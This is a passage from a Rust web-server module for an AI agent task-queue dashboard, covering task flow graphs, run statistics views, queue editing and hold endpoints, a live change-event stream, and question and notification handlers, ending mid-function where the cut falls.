4518 max_attempts: usize,
4519}
4520
4521fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4524 let node = |key: &str, kind, label: String| FlowNode {
4525 key: key.to_owned(),
4526 kind,
4527 label,
4528 status: None,
4529 note: None,
4530 run_kind: None,
4531 detail: None,
4532 decided: false,
4533 readable: true,
4534 href: None,
4535 };
4536 let mut nodes = Vec::new();
4537 let mut edges: Vec<FlowEdge> = Vec::new();
4538 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4540 let mut n = node(
4541 "chat",
4542 "chat",
4543 format!("Chat {}", crate::queue::short(&link.id)),
4544 );
4545 n.href = Some(link.href);
4546 nodes.push(n);
4547 edges.push(FlowEdge {
4548 from: "chat".to_owned(),
4549 to: "start".to_owned(),
4550 label: "queued from chat".to_owned(),
4551 attempt: AttemptCost::None,
4552 });
4553 }
4554 nodes.push(node("start", "start", "Task queued".to_owned()));
4555 let mut prev = "start".to_owned();
4556 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4557 for (i, h) in history.iter().enumerate() {
4558 let key = format!("run-{}", h.n);
4559 let mut n = node(&key, "run", format!("Run {}", h.short));
4560 n.run_kind = Some(h.kind);
4561 n.readable = h.readable;
4562 n.href = Some(format!("#/runs/{}", h.id));
4563 n.decided = h.readable && !h.provisional;
4564 n.detail = h
4565 .branch
4566 .as_ref()
4567 .map(|b| format!("review-only run of branch {b}"));
4568 match h.exit {
4569 RunExit::Unreadable => n.note = Some("unreadable"),
4570 RunExit::Interrupted => n.note = Some("interrupted"),
4571 _ => {
4572 n.status = h.status;
4573 if h.provisional {
4574 n.note = Some("no verdict");
4575 }
4576 }
4577 }
4578 let into = match h.kind {
4579 "review" => Some(format!(
4580 "review-only run of branch {}",
4581 h.branch.as_deref().unwrap_or("?")
4582 )),
4583 "resume" => Some("resume the same run".to_owned()),
4584 _ if i > 0 => Some("retry".to_owned()),
4585 _ => None,
4586 };
4587 let label = match (prev_exit, into) {
4588 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4589 (Some((e, st)), None) => e.edge_label(st),
4590 (None, Some(i)) => i,
4591 (None, None) => "claimed".to_owned(),
4592 };
4593 edges.push(FlowEdge {
4594 from: prev.clone(),
4595 to: key.clone(),
4596 label,
4597 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4598 });
4599 prev_exit = Some((h.exit, h.status));
4600 prev = key;
4601 nodes.push(n);
4602 }
4603 let mut end = node("end", "end", task.status.as_str().to_owned());
4604 end.status = Some(task.status.as_str());
4605 nodes.push(end);
4606 let (label, attempt) = match prev_exit {
4607 None => (
4608 format!("no run yet \u{2192} {}", task.status.as_str()),
4609 AttemptCost::None,
4610 ),
4611 Some((e, st)) if e.explains(task.status) => (
4612 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4613 e.cost(),
4614 ),
4615 Some((e, _)) => (
4616 format!("closed by hand: task is {}", task.status.as_str()),
4617 e.cost(),
4618 ),
4619 };
4620 edges.push(FlowEdge {
4621 from: prev,
4622 to: "end".to_owned(),
4623 label,
4624 attempt,
4625 });
4626 FlowView {
4627 nodes,
4628 edges,
4629 attempts: task.attempts,
4630 max_attempts,
4631 }
4632}
4633
4634fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4637 let mut history = Vec::with_capacity(task.runs.len());
4638 let mut seen: Vec<&str> = Vec::new();
4639 let mut prior: Option<(&str, RunStatus)> = None;
4640 for (i, run_id) in task.runs.iter().enumerate() {
4641 let state = read(run_id);
4642 let resumed = seen.contains(&run_id.as_str());
4643 seen.push(run_id);
4644 history.push(task_run_view(
4645 run_id,
4646 state.as_ref(),
4647 RunSlot {
4648 n: i + 1,
4649 resumed,
4650 resumed_later: task.runs[i + 1..]
4651 .iter()
4652 .position(|r| r == run_id)
4653 .map(|off| i + off + 2),
4654 prior,
4655 last: i + 1 == task.runs.len(),
4656 },
4657 task,
4658 ));
4659 if let Some(s) = &state {
4660 prior = Some((run::short_of(run_id), s.status));
4661 }
4662 }
4663 history
4664}
4665
4666async fn task_detail(
4667 State(ui): State<Arc<Ui>>,
4668 Path(id): Path<String>,
4669) -> ApiResult<Json<TaskDetailView>> {
4670 blocking(move || {
4671 let id = resolve_task(&ui.queue, &id)?;
4672 let task = ui
4673 .queue
4674 .get(&id)
4675 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4676 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4677 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4678 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4679 let max_attempts = daemon::Opts::default().max_attempts;
4680 let flow = task_flow(&task, &history, max_attempts);
4681 Ok(Json(TaskDetailView {
4682 max_attempts,
4683 flow,
4684 history,
4685 runs_unreadable,
4686 attempts_note: ATTEMPTS_NOTE,
4687 task: TaskView::with_inventory(task, &inv),
4688 }))
4689 })
4690 .await
4691}
4692
4693#[derive(Debug, Serialize)]
4697struct RateView {
4698 pct: f64,
4699 denominator: usize,
4700}
4701
4702impl RateView {
4703 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4704 (denominator > 0).then(|| Self {
4705 pct: 100.0 * numerator as f64 / denominator as f64,
4706 denominator,
4707 })
4708 }
4709}
4710
4711#[derive(Debug, Serialize)]
4716struct StatsTotalsView {
4717 runs: usize,
4718 merged: usize,
4719 ready: usize,
4720 blocked: usize,
4721 failed: usize,
4722 stalled: usize,
4723 verified_noop: usize,
4724 superseded: usize,
4725 in_progress: usize,
4726 completion_rate: Option<RateView>,
4727 tallied: usize,
4728 split: usize,
4729 split_rate: Option<RateView>,
4730 deliberated: usize,
4731 minds_changed: usize,
4732 converged: usize,
4733 review_rounds: usize,
4734}
4735
4736impl From<&stats::Totals> for StatsTotalsView {
4737 fn from(t: &stats::Totals) -> Self {
4738 Self {
4739 runs: t.runs,
4740 merged: t.merged,
4741 ready: t.ready,
4742 blocked: t.blocked,
4743 failed: t.failed,
4744 stalled: t.stalled,
4745 verified_noop: t.verified_noop,
4746 superseded: t.superseded,
4747 in_progress: t.in_progress,
4748 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4749 tallied: t.tallied,
4750 split: t.split,
4751 split_rate: RateView::of(t.split, t.tallied),
4752 deliberated: t.deliberated,
4753 minds_changed: t.minds_changed,
4754 converged: t.converged,
4755 review_rounds: t.review_rounds,
4756 }
4757 }
4758}
4759
4760#[derive(Debug, Serialize)]
4762struct AgentStatsView {
4763 agent: String,
4764 entered: usize,
4765 wins: usize,
4766 empty: usize,
4767 win_rate: Option<RateView>,
4768}
4769
4770impl From<&stats::AgentStats> for AgentStatsView {
4771 fn from(a: &stats::AgentStats) -> Self {
4772 Self {
4773 agent: a.agent.clone(),
4774 entered: a.entered,
4775 wins: a.wins,
4776 empty: a.empty,
4777 win_rate: RateView::of(a.wins, a.entered),
4778 }
4779 }
4780}
4781
4782#[derive(Debug, Serialize)]
4786struct ReviewerStatsView {
4787 agent: String,
4788 rounds: usize,
4789 seated: usize,
4790 submitted: usize,
4791 adopted: usize,
4792 unique: usize,
4793 timeouts: usize,
4794 adopted_per_round: Option<f64>,
4795 precision: Option<RateView>,
4796 unique_rate: Option<RateView>,
4797 timeout_rate: Option<RateView>,
4798}
4799
4800impl From<&stats::ReviewerStats> for ReviewerStatsView {
4801 fn from(r: &stats::ReviewerStats) -> Self {
4802 Self {
4803 agent: r.agent.clone(),
4804 rounds: r.rounds,
4805 seated: r.seated,
4806 submitted: r.submitted,
4807 adopted: r.adopted,
4808 unique: r.unique,
4809 timeouts: r.timeouts,
4810 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4811 precision: RateView::of(r.adopted, r.submitted),
4812 unique_rate: RateView::of(r.unique, r.submitted),
4813 timeout_rate: RateView::of(r.timeouts, r.seated),
4814 }
4815 }
4816}
4817
4818#[derive(Debug, Serialize)]
4824struct AdvisorStatsView {
4825 agent: String,
4826 seated: usize,
4827 proposed: usize,
4828 absent: usize,
4829 faint: usize,
4830 strong: usize,
4831 reflection_rate: Option<RateView>,
4832}
4833
4834impl From<&stats::AdvisorStats> for AdvisorStatsView {
4835 fn from(a: &stats::AdvisorStats) -> Self {
4836 Self {
4837 agent: a.agent.clone(),
4838 seated: a.seated,
4839 proposed: a.proposed,
4840 absent: a.absent,
4841 faint: a.faint,
4842 strong: a.strong,
4843 reflection_rate: RateView::of(a.strong, a.proposed),
4844 }
4845 }
4846}
4847
4848#[derive(Debug, Serialize)]
4850struct E2eStatsView {
4851 rounds: usize,
4852 failures: usize,
4853 sole_detections: usize,
4854 deferred: usize,
4855 sole_rate: Option<RateView>,
4856}
4857
4858impl From<&stats::E2eStats> for E2eStatsView {
4859 fn from(e: &stats::E2eStats) -> Self {
4860 Self {
4861 rounds: e.rounds,
4862 failures: e.failures,
4863 sole_detections: e.sole_detections,
4864 deferred: e.deferred,
4865 sole_rate: RateView::of(e.sole_detections, e.failures),
4866 }
4867 }
4868}
4869
4870#[derive(Debug, Serialize)]
4878struct ReleaseBumpStatsView {
4879 merged: usize,
4880 recorded: usize,
4881 pr_opened: usize,
4882 automerge_enabled: usize,
4883 merged_directly: usize,
4884 needs_attention: usize,
4885 clean: usize,
4886 coverage_rate: Option<RateView>,
4887 automerge_rate: Option<RateView>,
4888 attention_rate: Option<RateView>,
4889}
4890
4891impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4892 fn from(b: &stats::ReleaseBumpStats) -> Self {
4893 Self {
4894 merged: b.merged,
4895 recorded: b.recorded,
4896 pr_opened: b.pr_opened,
4897 automerge_enabled: b.automerge_enabled,
4898 merged_directly: b.merged_directly,
4899 needs_attention: b.needs_attention,
4900 clean: b.clean(),
4901 coverage_rate: RateView::of(b.recorded, b.merged),
4902 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4903 attention_rate: RateView::of(b.needs_attention, b.recorded),
4904 }
4905 }
4906}
4907
4908#[derive(Debug, Serialize)]
4910struct TaskCountsView {
4911 queued: usize,
4912 running: usize,
4913 done: usize,
4914 failed: usize,
4915 held: usize,
4916 blocked: usize,
4917 parked: usize,
4918}
4919
4920impl From<crate::queue::TaskCounts> for TaskCountsView {
4921 fn from(c: crate::queue::TaskCounts) -> Self {
4922 Self {
4923 queued: c.queued,
4924 running: c.running,
4925 done: c.done,
4926 failed: c.failed,
4927 held: c.held,
4928 blocked: c.blocked,
4929 parked: c.parked,
4930 }
4931 }
4932}
4933
4934#[derive(Debug, Serialize)]
4940struct RepoSummaryView {
4941 repo: String,
4944 name: String,
4946 runs: usize,
4947 completion_rate: Option<RateView>,
4948}
4949
4950impl From<&stats::RepoStats> for RepoSummaryView {
4951 fn from(r: &stats::RepoStats) -> Self {
4952 let t = &r.stats.totals;
4953 Self {
4954 repo: r.repo.to_string_lossy().into_owned(),
4955 name: r.name.clone(),
4956 runs: t.runs,
4957 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4958 }
4959 }
4960}
4961
4962#[derive(Debug, Serialize)]
4968struct StatsView {
4969 totals: StatsTotalsView,
4970 agents: Vec<AgentStatsView>,
4972 reviewers: Vec<ReviewerStatsView>,
4974 advisors: Vec<AdvisorStatsView>,
4976 e2e: E2eStatsView,
4977 release_bumps: ReleaseBumpStatsView,
4978 queue: TaskCountsView,
4979 runs_unreadable: usize,
4989 repos: Vec<RepoSummaryView>,
4993 daily: Vec<DailyStatsView>,
4998 repo: Option<String>,
5002 retired_hidden: Vec<String>,
5006}
5007
5008#[derive(Debug, Serialize)]
5010struct DailyStatsView {
5011 date: String,
5013 runs: usize,
5014 merged: usize,
5015 ready: usize,
5016 other: usize,
5017 completion_rate: Option<RateView>,
5019}
5020
5021impl From<&stats::DayBucket> for DailyStatsView {
5022 fn from(b: &stats::DayBucket) -> Self {
5023 Self {
5024 date: b.date.to_string(),
5025 runs: b.runs,
5026 merged: b.merged,
5027 ready: b.ready,
5028 other: b.other,
5029 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5030 }
5031 }
5032}
5033
5034const STATS_DAILY_DAYS: usize = 30;
5036
5037#[derive(Debug, Default, Deserialize)]
5046#[serde(default)]
5047struct StatsQuery {
5048 repo: Option<String>,
5049 all: bool,
5051}
5052
5053async fn stats_get(
5060 State(ui): State<Arc<Ui>>,
5061 Query(q): Query<StatsQuery>,
5062) -> ApiResult<Json<StatsView>> {
5063 blocking(move || {
5064 let states: Vec<RunState> = run_ids(&ui.runs)
5065 .into_iter()
5066 .filter_map(|id| read_run(&ui.runs, &id).ok())
5067 .collect();
5068 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5069 .iter()
5070 .map(RepoSummaryView::from)
5071 .collect();
5072 let mut scoped: Vec<&RunState> = states.iter().collect();
5073 let mut collected = match &q.repo {
5074 Some(repo) => {
5075 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5076 if filtered.is_empty() {
5077 return Err(ApiError::not_found(format!(
5078 "no runs recorded against repo `{repo}`"
5079 )));
5080 }
5081 scoped = filtered.clone();
5082 stats::collect_refs(filtered)
5083 }
5084 None => stats::collect(&states),
5085 };
5086 if !q.all {
5087 let repo = q
5088 .repo
5089 .as_deref()
5090 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5091 stats::retain_current_roster(&mut collected, &repo);
5092 }
5093 let daily = stats::daily(
5094 scoped,
5095 jiff::Zoned::now().date(),
5096 &jiff::tz::TimeZone::system(),
5097 STATS_DAILY_DAYS,
5098 );
5099 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5100 Ok(Json(StatsView {
5101 totals: StatsTotalsView::from(&collected.totals),
5102 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5103 reviewers: collected
5104 .reviewers
5105 .iter()
5106 .map(ReviewerStatsView::from)
5107 .collect(),
5108 advisors: collected
5109 .advisors
5110 .iter()
5111 .map(AdvisorStatsView::from)
5112 .collect(),
5113 e2e: E2eStatsView::from(&collected.e2e),
5114 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5115 queue: TaskCountsView::from(queue_counts),
5116 runs_unreadable: runs_unreadable(&ui.runs),
5117 repos,
5118 daily: daily.iter().map(DailyStatsView::from).collect(),
5119 repo: q.repo.clone(),
5120 retired_hidden: collected.retired_hidden.clone(),
5121 }))
5122 })
5123 .await
5124}
5125
5126#[derive(Debug, Default, Deserialize)]
5129#[serde(default, deny_unknown_fields)]
5130struct HoldBody {
5131 reason: Option<String>,
5132}
5133
5134async fn queue_hold(
5135 State(ui): State<Arc<Ui>>,
5136 Path(id): Path<String>,
5137 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5138) -> ApiResult<Json<TaskView>> {
5139 let body = match body {
5143 Ok(Json(body)) => body,
5144 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5145 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5146 };
5147 let reason = body.reason.filter(|r| !r.trim().is_empty());
5148 mutate(ui, id, move |t| {
5149 t.hold_manual(reason.clone());
5150 Ok(())
5151 })
5152 .await
5153}
5154
5155async fn queue_release(
5156 State(ui): State<Arc<Ui>>,
5157 Path(id): Path<String>,
5158) -> ApiResult<Json<TaskView>> {
5159 mutate(ui, id, |t| {
5160 t.release();
5161 Ok(())
5162 })
5163 .await
5164}
5165
5166#[derive(Debug, Deserialize)]
5168#[serde(deny_unknown_fields)]
5169struct PriorityBody {
5170 priority: i32,
5171}
5172
5173async fn queue_priority(
5179 State(ui): State<Arc<Ui>>,
5180 Path(id): Path<String>,
5181 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5182) -> ApiResult<Json<TaskView>> {
5183 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5184 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5185}
5186
5187#[derive(Debug, Deserialize)]
5189#[serde(deny_unknown_fields)]
5190struct EditBody {
5191 title: String,
5192 instruction: String,
5193 #[serde(default)]
5196 force: bool,
5197}
5198
5199async fn queue_edit(
5203 State(ui): State<Arc<Ui>>,
5204 Path(id): Path<String>,
5205 body: std::result::Result<Json<EditBody>, JsonRejection>,
5206) -> ApiResult<Json<TaskView>> {
5207 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5208 let mut judged: Option<(String, PathBuf)> = None;
5212 if !body.force {
5213 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5214 let (id, text) = (id.clone(), body.instruction.clone());
5215 let (seen, hits) = blocking(move || {
5216 let id = resolve_task(&queue, &id)?;
5217 let t = queue.get(&id)?;
5218 if text == t.instruction {
5219 return Ok((None, Vec::new()));
5220 }
5221 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5222 Ok((Some((t.instruction, t.repo)), hits))
5223 })
5224 .await?;
5225 if let Some((_, repo)) = &seen {
5226 let cfg = crate::config::Config::discover(repo, None)
5227 .ok()
5228 .map(|(c, _)| c);
5229 let screened =
5230 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5231 .await
5232 .map_err(|dup| {
5233 ApiError::conflict(dup.render(
5234 "Nothing was saved. If it is not a duplicate, repeat the request \
5235 with \"force\": true.",
5236 ))
5237 })?;
5238 if let crate::dupes::Screened::Unjudged(why) = screened {
5239 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5240 }
5241 }
5242 judged = seen;
5243 }
5244 let force = body.force;
5245 mutate(ui, id, move |t| {
5246 if !force && body.instruction != t.instruction {
5247 match &judged {
5248 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5249 _ => {
5250 anyhow::bail!("the task changed while it was being checked; repeat the request")
5251 }
5252 }
5253 }
5254 t.edit(body.title.clone(), body.instruction.clone())
5255 })
5256 .await
5257}
5258
5259async fn queue_done(
5267 State(ui): State<Arc<Ui>>,
5268 Path(id): Path<String>,
5269) -> ApiResult<Json<TaskView>> {
5270 let home = ui.home.clone();
5271 mutate(ui, id, move |t| {
5272 t.succeed();
5273 crate::daemon::supersede_prior_runs(t, &home);
5281 Ok(())
5282 })
5283 .await
5284}
5285
5286async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5294 blocking(move || {
5295 let id = resolve_task(&ui.queue, &id)?;
5296 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5297 ui.queue
5298 .remove(&id, in_flight, &ui.questions)
5299 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5300 Ok(StatusCode::NO_CONTENT)
5301 })
5302 .await
5303}
5304
5305async fn mutate(
5314 ui: Arc<Ui>,
5315 id: String,
5316 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5317) -> ApiResult<Json<TaskView>> {
5318 blocking(move || {
5319 let id = resolve_task(&ui.queue, &id)?;
5320 let _claim = ui.queue.claim(&id).map_err(|e| {
5325 ApiError::conflict(format!(
5326 "{e:#} - a daemon is running this task, so it cannot be \
5327 changed from here yet"
5328 ))
5329 })?;
5330 let mut task = ui.queue.get(&id)?;
5331 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5332 Ok(dup) => ApiError::conflict(dup.render(
5333 "Nothing was saved. If it is not a duplicate, repeat the request with \
5334 \"force\": true.",
5335 )),
5336 Err(e) => ApiError::bad_request_from(e),
5337 })?;
5338 ui.queue.put(&mut task)?;
5339 Ok(Json(TaskView::from(task)))
5340 })
5341 .await
5342}
5343
5344async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5352 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5353 tokio::spawn(async move {
5354 let mut ticker = tokio::time::interval(POLL);
5355 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5356 let mut stamps: Option<[Stamps; 3]> = None;
5357 loop {
5358 ticker.tick().await;
5361 let state = Arc::clone(&ui);
5362 let revisions = tokio::task::spawn_blocking(move || {
5363 let stamps = [
5364 store_stamps(state.queue.root(), false),
5365 store_stamps(&state.runs, true),
5366 store_stamps(state.talks.root(), false),
5367 ];
5368 let revisions = (
5369 stamps_revision(&stamps[0]),
5370 stamps_revision(&stamps[1]),
5371 state.questions.revision(),
5372 stamps_revision(&stamps[2]),
5373 state.notices.revision(),
5374 state.lock_loop().rev,
5378 );
5379 (revisions, stamps)
5380 })
5381 .await;
5382 let Ok((revisions, next_stamps)) = revisions else {
5383 break;
5384 };
5385 if last == Some(revisions) {
5386 continue;
5387 }
5388 let mut payload = serde_json::json!({
5389 "queue_rev": revisions.0,
5390 "runs_rev": revisions.1,
5391 "questions_rev": revisions.2,
5392 "talks_rev": revisions.3,
5393 "notifications_rev": revisions.4,
5394 "loop_rev": revisions.5,
5395 });
5396 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5397 for (index, (key, rev)) in [
5398 ("queue_delta", base.0),
5399 ("runs_delta", base.1),
5400 ("talks_delta", base.3),
5401 ]
5402 .into_iter()
5403 .enumerate()
5404 {
5405 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5406 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5408 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5409 }
5410 }
5411 }
5412 last = Some(revisions);
5413 stamps = Some(next_stamps);
5414 let Ok(event) = Event::default().event("change").json_data(payload) else {
5416 break;
5417 };
5418 if tx.send(event).await.is_err() {
5419 break;
5420 }
5421 }
5422 });
5423 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5424 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5425}
5426
5427type Stamps = HashMap<String, (u128, u64)>;
5428
5429fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5431 std::fs::read_dir(root)
5432 .into_iter()
5433 .flatten()
5434 .flatten()
5435 .filter_map(|entry| {
5436 let path = if runs {
5437 entry.path().join("run.json")
5438 } else {
5439 entry.path()
5440 };
5441 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5442 return None;
5443 }
5444 let metadata = path.metadata().ok()?;
5445 let modified = metadata
5446 .modified()
5447 .ok()?
5448 .duration_since(std::time::UNIX_EPOCH)
5449 .ok()?;
5450 let id = if runs {
5451 entry.file_name().to_string_lossy().into_owned()
5452 } else {
5453 path.file_stem()?.to_string_lossy().into_owned()
5454 };
5455 Some((id, (modified.as_nanos(), metadata.len())))
5456 })
5457 .collect()
5458}
5459
5460#[derive(Debug, Serialize)]
5461struct Delta {
5462 base: u64,
5463 changed: Vec<String>,
5464 removed: Vec<String>,
5465}
5466
5467fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5468 let mut changed: Vec<_> = next
5469 .iter()
5470 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5471 .map(|(id, _)| id.clone())
5472 .collect();
5473 let mut removed: Vec<_> = previous
5474 .keys()
5475 .filter(|id| !next.contains_key(*id))
5476 .cloned()
5477 .collect();
5478 changed.sort_unstable();
5479 removed.sort_unstable();
5480 Delta {
5481 base,
5482 changed,
5483 removed,
5484 }
5485}
5486
5487fn runs_revision(runs: &FsPath) -> u64 {
5494 stamps_revision(&store_stamps(runs, true))
5495}
5496
5497fn stamps_revision(stamps: &Stamps) -> u64 {
5501 use std::hash::{Hash as _, Hasher as _};
5502 if stamps.is_empty() {
5503 return 0;
5504 }
5505 let mut entries: Vec<_> = stamps.iter().collect();
5506 entries.sort_unstable();
5507 let mut hasher = std::hash::DefaultHasher::new();
5508 entries.hash(&mut hasher);
5509 hasher.finish().max(1)
5510}
5511
5512fn run_ids(runs: &FsPath) -> Vec<String> {
5518 let mut ids: Vec<String> = std::fs::read_dir(runs)
5519 .into_iter()
5520 .flatten()
5521 .flatten()
5522 .filter(|e| e.path().join("run.json").is_file())
5523 .map(|e| e.file_name().to_string_lossy().into_owned())
5524 .collect();
5525 ids.sort_unstable_by(|a, b| b.cmp(a));
5527 ids
5528}
5529
5530fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5532 let path = runs.join(id).join("run.json");
5533 let body =
5534 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5535 let state: RunState =
5536 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5537 run::migrate_schema(state)
5542}
5543
5544#[must_use]
5552pub fn runs_unreadable(runs: &FsPath) -> usize {
5553 run_ids(runs)
5554 .into_iter()
5555 .filter(|id| read_run(runs, id).is_err())
5556 .count()
5557}
5558
5559fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5561 if runs.join(id).join("run.json").is_file() {
5562 return Ok(id.to_owned());
5563 }
5564 pick(run_ids(runs), id, "run")
5565}
5566
5567fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5569 if queue.path_of(id).is_file() {
5570 return Ok(id.to_owned());
5571 }
5572 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5573}
5574
5575#[derive(Debug, Serialize)]
5586struct QuestionView {
5587 #[serde(flatten)]
5588 question: Question,
5589 detail_md: Vec<md::Node>,
5590 thread_bodies_md: Vec<Vec<md::Node>>,
5592 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5595 waiting_on_agent: bool,
5605 holder: Option<&'static str>,
5609 deputies_enabled: bool,
5613 run_is_task: bool,
5616 origin_chat: Option<String>,
5621}
5622
5623impl QuestionView {
5624 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5628 let base = md::ImageBase::QuestionPanel {
5629 id: question.id.clone(),
5630 };
5631 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5632 Self {
5633 detail_md: md::to_nodes(&question.detail, &base),
5634 thread_bodies_md: question
5635 .thread
5636 .iter()
5637 .map(|t| md::to_nodes(&t.body, &base))
5638 .collect(),
5639 thread_notes_md: question
5640 .thread
5641 .iter()
5642 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5643 .collect(),
5644 waiting_on_agent: question.waiting_on_agent(),
5645 holder,
5646 deputies_enabled,
5647 run_is_task: question.run_names_task(),
5648 origin_chat: None,
5649 question,
5650 }
5651 }
5652
5653 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5655 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5656 self
5657 }
5658}
5659
5660fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5664 Config::discover(repo, None).ok().map(|(c, _)| c)
5665}
5666
5667fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5669 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5670}
5671
5672fn question_views(
5675 qs: Vec<Question>,
5676 store: &ask::Questions,
5677 load: impl FnOnce() -> Option<Config>,
5678) -> Vec<QuestionView> {
5679 if qs.is_empty() {
5680 return Vec::new();
5681 }
5682 let cfg = load();
5683 qs.into_iter()
5684 .map(|q| {
5685 let on = deputies_enabled(cfg.as_ref(), &q);
5686 QuestionView::of(q, store, on)
5687 })
5688 .collect()
5689}
5690
5691fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5701 if !q.status.open() {
5702 return None;
5703 }
5704 if q.cwd.is_none() && q.deputy.is_none() {
5705 return crate::deputy::kind_of(q).map(|_| "nobody");
5706 }
5707 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5708 Some(_) if q.deputy.is_some() => "deputy",
5709 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5710 Some(_) => "asker",
5711 None => "nobody",
5712 })
5713}
5714
5715async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5721 blocking(move || {
5722 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5723 Ok(Json(
5724 question_views(ui.questions.list(), &ui.questions, || {
5725 deputy_config(&ui.repo)
5726 })
5727 .into_iter()
5728 .map(|v| v.with_origin(&tasks, &talks))
5729 .collect(),
5730 ))
5731 })
5732 .await
5733}
5734
5735async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5738 blocking(move || {
5739 let items = ui.notices.list();
5740 let unread = items.iter().filter(|n| n.unread()).count();
5741 Ok(Json(
5742 serde_json::json!({ "unread": unread, "items": items }),
5743 ))
5744 })
5745 .await
5746}
5747
5748fn notice_error(e: anyhow::Error) -> ApiError {
5749 ApiError::not_found(format!("{e:#}"))
5752}
5753
5754async fn notification_read(
5756 State(ui): State<Arc<Ui>>,
5757 Path(id): Path<String>,
5758) -> ApiResult<Json<Notice>> {
5759 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5760}
5761
5762async fn notification_dismiss(
5764 State(ui): State<Arc<Ui>>,
5765 Path(id): Path<String>,
5766) -> ApiResult<Json<Notice>> {
5767 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5768}
5769
5770async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5772 blocking(move || {
5773 let changed = ui.notices.mark_all_read()?;
5774 Ok(Json(serde_json::json!({ "marked": changed })))
5775 })
5776 .await
5777}
5778
5779#[derive(Debug, Default, Deserialize)]
5785#[serde(default, deny_unknown_fields)]
5786struct NewAnswer {
5787 choice: Option<String>,
5788 text: Option<String>,
5789}
5790
5791async fn question_answer(
5792 State(ui): State<Arc<Ui>>,
5793 Path(id): Path<String>,
5794 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5795) -> ApiResult<Json<QuestionView>> {
5796 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5797 let answer = match (body.choice, body.text) {
